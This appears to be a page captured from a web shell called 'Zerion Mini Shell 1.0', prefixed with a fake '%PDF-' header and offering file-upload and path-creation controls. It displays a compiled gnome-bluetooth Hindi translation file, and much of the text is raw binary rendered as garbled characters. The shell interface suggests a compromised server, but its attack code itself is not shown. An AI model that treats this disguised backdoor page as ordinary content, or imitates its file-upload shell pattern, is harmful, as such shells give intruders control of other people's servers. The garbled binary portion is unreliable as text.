%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/hi/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/hi/LC_MESSAGES/gnome-bluetooth2.mo

��gT��������*	B,	o	w	~	�		�	�	�	�	�	�	�	


4
N
W
_
Uu
	�

�

�
�
�

*2:
@,KxK�%���
4?U\n{H�0�'�P#
ht
�
�
�
	%DLel$� ���
��!48<DIQ^r{	����������.�-4�;!!'-Iw~]���	��	�%��I "jD�;�1@PGjS�""<E��-���+�+#O$_��	��`�(�;_l��	���?�"E?�8��	�y��jS��H��%�I$/nZ��J W Sg f� f"!$�!I�!�!8"O"f" |"�"�"�"�"�""�"%#C#	L#V#k#�#-�#;�#$$'4$.\$�$*�$;�$%%c3]a<X":+*C(7RIZ1AL
 F.!Jb5HN_6gETG4&)PBD'Y@>/9=,;$	^
fM8`\[O?QUWV%d-S2e#K0%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s%u transfer complete%u transfers complete'%s' wants to pair with this device. Do you want to allow pairing?ADDRESSAcceptAddressAll categoriesAll typesAllowAn unknown error occurredAudio deviceBluetooth File TransferBluetooth Pairing RequestBluetooth TransferCameraCancelChoose files to sendClick to select device…ComputerConfirmConfirm Bluetooth PINConfirm the Bluetooth PIN for '%s'. This can usually be found in the device's manual.ConnectedConnecting…ConnectionDeviceDevice _category:Device _type:DevicesDisconnectedDismissDisplayFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetIf you remove the device, you will have to set it up again before next use.Input devices (mice, keyboards, etc.)JoypadKeyboardModemMouseNAMENetworkNoNo adapters availableNot Set UpNot paired or trustedPairedPaired or trustedPairing '%s'PhonePlease confirm that the following PIN matches the one displayed on '%s'.Please confirm the PIN that was entered on '%s'.Please enter the following PIN on '%s'.Please enter the following PIN on '%s'. Then press “Return” on the keyboard.Please move the joystick of your iCade in the following directions. Then press any of the white buttons.PrinterRemote controlRemote device to useRemote device's nameRemove '%s' from the list of devices?ScannerSearching for devices…SelectSelect device to send toSelect the device category to filterSelect the device type to filterSend _Files…Send files via BluetoothSending %sSending file %d of %dShow:TabletThere was an errorTo:ToyTrustedTypeUnknownVideo deviceVisible as “%s”WearableYes[FILE...]_Cancel_Close_Keyboard Settings_Mouse & Touchpad Settings_OK_Remove_Remove Device_Retry_Send_Sound Settingsapproximately %'d hourapproximately %'d hourspage 1page 2Project-Id-Version: gnome-bluetooth.master.hi
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=gnome-bluetooth&keywords=I18N+L10N&component=general
PO-Revision-Date: 2014-09-22 14:35+0630
Last-Translator: rajesh <rajesh>
Language-Team: Hindi <kde-i18n-doc@kde.org>
Language: hi
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n!=1);

X-Generator: Lokalize 1.5
%'d घंटा%'d घंटा%'d मिनट%'d मिनट%'d सेकेंड%'d सेकेंड%d B/s%d kB/s%u हस्तांतरण पूर्ण%u हस्तांतरण पूर्ण'%s' इस युक्ति के साथ युग्मित होना चाहता है. क्या आप युग्मन चाहते हैं?पतास्वीकारेंपतासभी श्रेणियाँसभी प्रकारस्वीकारेंएक अनजान त्रुटि उत्पन्न हुईऑडियो युक्तिब्लूटूथ फाइल स्थानान्तरणब्लूटूथ युग्मन अनुरोधब्लूटूथ हस्तांतरणकैमरारद्द करेंफ़ाइल को भेजने के लिए चुनेंयुक्ति चुनने के लिए क्लिक करें…कम्प्यूटरसंपुष्ट करेंब्लूटूथ PIN संपुष्ट करेंब्लूटूथ PIN को '%s' के लिए पुष्टि करें. यह आपकी युक्ति की निर्देश-पुस्तिका में सामान्य रूप से पाया जाता है.कनेक्टेडकनेक्ट कर रहा है…कनेक्शनउपकरणयुक्ति श्रेणी (_c):युक्ति प्रकार (_t):औज़ारडिस्कनेक्टेडछोड़ेंदिखाएँसेःहेडफोनहेडफोन, हेडसेट और दूसरे ऑडियो युक्तिहेडसेटयदि आप युक्ति को हटाते हैं, आपको इसे फिर से सेटअप करना होगा आगे के प्रयोग के पहले.इनपुट युक्तियां (माइस, कुंजीपट, आदि...)जॉयपॉडकुंजीपटलमॉडेममाउसनामनेटवर्कनहींकोई एडाप्टर उपलब्ध नहींसेटअप नहींयुग्मित या विश्वसनीय नहींयुग्मयुग्मित या विश्वसनीययुग्मन '%s'फोनकृपया पुष्टि करें कि क्या PIN '%s' पर से मेल खाता है.कृपया पुष्टि करें कि क्या PIN जो '%s' पर दाखिल किया गया था.निम्नलिखित PIN को '%s' पर दाखिल करें.कृपया निम्नलिखित PIN को '%s' पर दाखिल करें. फिर “Return” को कुंजीपट पर दाखिल करें:कृपया निम्नलिखित दिशाओं में अपने iCade की जॉयस्टिक को संचालित करें. किसी भी सफेद बटन दबाएँ.मुद्रकरिमोट कंट्रोलप्रयोग के लिए दूरस्थ युक्तिदूरस्थ युक्ति नाम'%s' को युक्तियों की सूची से हटाता है?स्कैनरयुक्तियों के लिए खोज रहा है…चुनेंयुक्ति चुनें जिसे यहाँ भेजना हैफिल्टर करने के लिए युक्ति श्रेणी चुनेंफिल्टर करने के लिए युक्ति प्रकार चुनेंफाइल भेजें (_F)…ब्लूटूथ से होकर फ़ाइल भेजें%s भेज रहा हैफ़ाइल %d, %d का भेज रहा हैदिखायें:टैब्लेटएक त्रुटि थीको:खिलोनाविश्वसनीयप्रकारअज्ञातऑडियो युक्ति“%s” बतौर दृश्यWearableहाँ[फ़ाइल...]रद्द करें (_C)बंद करें (_C)कुंजीपट सेटिंग (_K)माउस और टचपैड सेटिंग (_M)ठीक (_O)हटाएँ (_R)युक्ति हटाएँ (_R)पुनः कोशिश करें (_R)भेजें (_S)ध्वनि विन्यास (_S)करीब %'d घंटाकरीब %'d घंटापृष्ठ 1पृष्ठ 2

Zerion Mini Shell 1.0